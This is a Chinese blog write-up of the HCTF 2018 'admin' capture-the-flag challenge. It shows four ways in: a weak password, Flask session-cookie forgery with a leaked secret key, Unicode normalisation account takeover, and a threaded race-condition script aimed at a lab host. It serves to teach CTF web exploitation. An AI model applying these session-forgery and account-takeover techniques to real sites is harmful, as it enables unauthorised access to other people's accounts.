[HCTF 2018]admin

6 篇文章 0 订阅
3 篇文章 0 订阅

这道题涉及知识面很多,解题姿势多,故单独拿来写一篇文章。

姿势一:弱口令登录

有login页面,直接admin123得到flag

姿势二:flask的session伪造

- SECRET_KEY

- session加解密脚本

注册以后可以在change password页面的源码中发现一些线索

<!-- https://github.com/woadsl1234/hctf_flask/ -->

下载以后是flask的文件

思路是这样来的:
index.html中内容如下

{% include('header.html') %}
{% if current_user.is_authenticated %}
<h1 class="nav">Hello {{ session['name'] }}</h1>
{% endif %}
{% if current_user.is_authenticated and session['name'] == 'admin' %}
<h1 class="nav">hctf{xxxxxxxxx}</h1>
{% endif %}
<!-- you are not admin -->
<h1 class="nav">Welcome to hctf</h1>

{% include('footer.html') %}

看到如果满足session['name'] == 'admin',那么就能得到flag

所以考虑伪造session

那么如何伪造session呢?

知识点:

flask中session存储在客户端的cookie当中(本地)。而flask只对数据进行了签名(防止篡改)但没有防止读取,session的全部内容都可以被读取。

那么这个session是怎么生成的?应该如何被伪造?移步P神文章:https://www.leavesongs.com/PENETRATION/client-session-security.html

拜读以后知道,想要伪造session的话,我们需要SECRET_KEY,很幸运的是,在下载的源码里是保留了SECRET_KEY

config.py

import os

class Config(object):
    SECRET_KEY = os.environ.get('SECRET_KEY') or 'ckj123'
    SQLALCHEMY_DATABASE_URI = 'mysql+pymysql://root:adsl1234@db:3306/test'
    SQLALCHEMY_TRACK_MODIFICATIONS = True

来看一下现在的session是什么
在这里插入图片描述

利用搜到的解密脚本:

#!/usr/bin/env python3
import sys
import zlib
from base64 import b64decode
from flask.sessions import session_json_serializer
from itsdangerous import base64_decode

def decryption(payload):
    payload, sig = payload.rsplit(b'.', 1)
    payload, timestamp = payload.rsplit(b'.', 1)

    decompress = False
    if payload.startswith(b'.'):
        payload = payload[1:]
        decompress = True

    try:
        payload = base64_decode(payload)
    except Exception as e:
        raise Exception('Could not base64 decode the payload because of '
                         'an exception')

    if decompress:
        try:
            payload = zlib.decompress(payload)
        except Exception as e:
            raise Exception('Could not zlib decompress the payload before '
                             'decoding the payload')

    return session_json_serializer.loads(payload)

if __name__ == '__main__':
    print(decryption(sys.argv[1].encode()))   

python decode.py [session内容]

在这里插入图片描述
把解密出来的东西修改一下,name的内容改成admin,然后利用加密脚本和SECRET_KEY来伪造新的session
加密脚本地址:https://github.com/noraj/flask-session-cookie-manager

python flask_session_cookie_manager3.py encode -s [SECRECT_KEY] -t [加密内容]

在这里插入图片描述
将浏览器中的session修改成我们伪造的,得到flag

姿势三:Unicode欺骗

- nodeprep.prepare()

思路来自这里:strlower()

这些地方都调用了strlower()

注册:
在这里插入图片描述
登录:
在这里插入图片描述
修改密码:
在这里插入图片描述
strlower是什么玩意?看这里:
在这里插入图片描述
这个nodeprep.prepare()我没搜到,其他大佬是这样说的:

这里用的nodeprep.prepare函数,而nodeprep是从Twisted模块导入的,在requirements.txt文件中发现Twisted==10.2.0,而官网最新已经到了19.7.0(2019/9),版本差距很大,应该会存在漏洞。

关于Unicode问题可以参考一下:https://panda1g1.github.io/2018/11/15/HCTF%20admin/(现在好像404了额

关于具体编码可查 https://unicode-table.com/en/search/?q=small+capital
,当然你也可以复制过后用站长工具转换成Unicode编码。

原文链接:https://blog.csdn.net/weixin_44677409/article/details/100733581

简单说来就是:nodeprep.prepare这个函数会把大写转换为小写,而且也会对unicode字符进行转换

from twisted.words.protocols.jabber.xmpp_stringprep import nodeprep

def strlower(username):
    username = nodeprep.prepare(username)
    return username

user = u'\u1d2c\u1d30\u1d39\u1d35\u1d3A'

print(user)
print(strlower(user))
print(strlower(strlower(user)))

输出:(注意版本)
ᴬᴰᴹᴵᴺ
ADMIN
admin

解题逻辑就有了:注册—>登录—>修改密码—>利用admin账户登录。注册和登录两次调用strlower()使name变成admin,此时修改密码实际修改的就是admin的密码,然后就可以利用admin账户登录
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

姿势四:条件竞争

不清楚条件竞争的朋友先看博客:https://cloud.tencent.com/developer/article/1516412

总结说来具有以下条件的情况可能就会存在条件竞争漏洞

  1. 并发,即至少存在两个并发执行流。这里的执行流包括线程,进程,任务等级别的执行流。
  2. 共享对象,即多个并发流会访问同一对象。常见的共享对象有共享内存,文件系统,信号。一般来说,这些共享对象是用来使得多个程序执行流相互交流。此外,我们称访问共享对象的代码为临界区。在正常写代码时,这部分应该加锁。
  3. 改变对象,即至少有一个控制流会改变竞争对象的状态。因为如果程序只是对对象进行读操作,那么并不会产生条件竞争。

这道题这里就符合条件竞争漏洞:代码中的登录修改密码都是直接使用session['name'],这导致不同用户之间可能会共享同一个session['name']
在这里插入图片描述

  • 注册一个用户test,作为进程1不断重复进行登录修改密码。然后admin作为进程2不断重复进行注销登录
  • 有可能当进程1进行到修改密码操作时,进程2恰好注销且要进行登录,此时进程1改密码需要一个session['name'],而进程2刚好将session['name']赋值为admin,此时进程1进程2session['name']调用来修改密码,即修改了admin的密码。

所以其实最终目的和姿势三一样:修改admin的密码,使用admin登录

脚本如下:(转载)

import requests
import threading

def login(s, username, password):
    data = {
        'username': username,
        'password': password,
        'submit': ''
    }
    return s.post("http://db0fc0e1-b704-4643-b0b6-d39398ff329a.node1.buuoj.cn/login", data=data)

def logout(s):
    return s.get("http://db0fc0e1-b704-4643-b0b6-d39398ff329a.node1.buuoj.cn/logout")

def change(s, newpassword):
    data = {
        'newpassword':newpassword
    }
    return s.post("http://db0fc0e1-b704-4643-b0b6-d39398ff329a.node1.buuoj.cn/change", data=data)

def func1(s):
    login(s, 'test', 'test')
    change(s, 'test')

def func2(s):
    logout(s)
    res = login(s, 'admin', 'test')
    if 'flag' in res.text:
        print('finish')

def main():
    for i in range(1000):
        print(i)
        s = requests.Session()
        t1 = threading.Thread(target=func1, args=(s,))
        t2 = threading.Thread(target=func2, args=(s,))
        t1.start()
        t2.start()

if __name__ == "__main__":
    main()

参考链接:
https://blog.csdn.net/qq_39153421/article/details/116742488
小白白@
https://cloud.tencent.com/developer/article/1516412

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值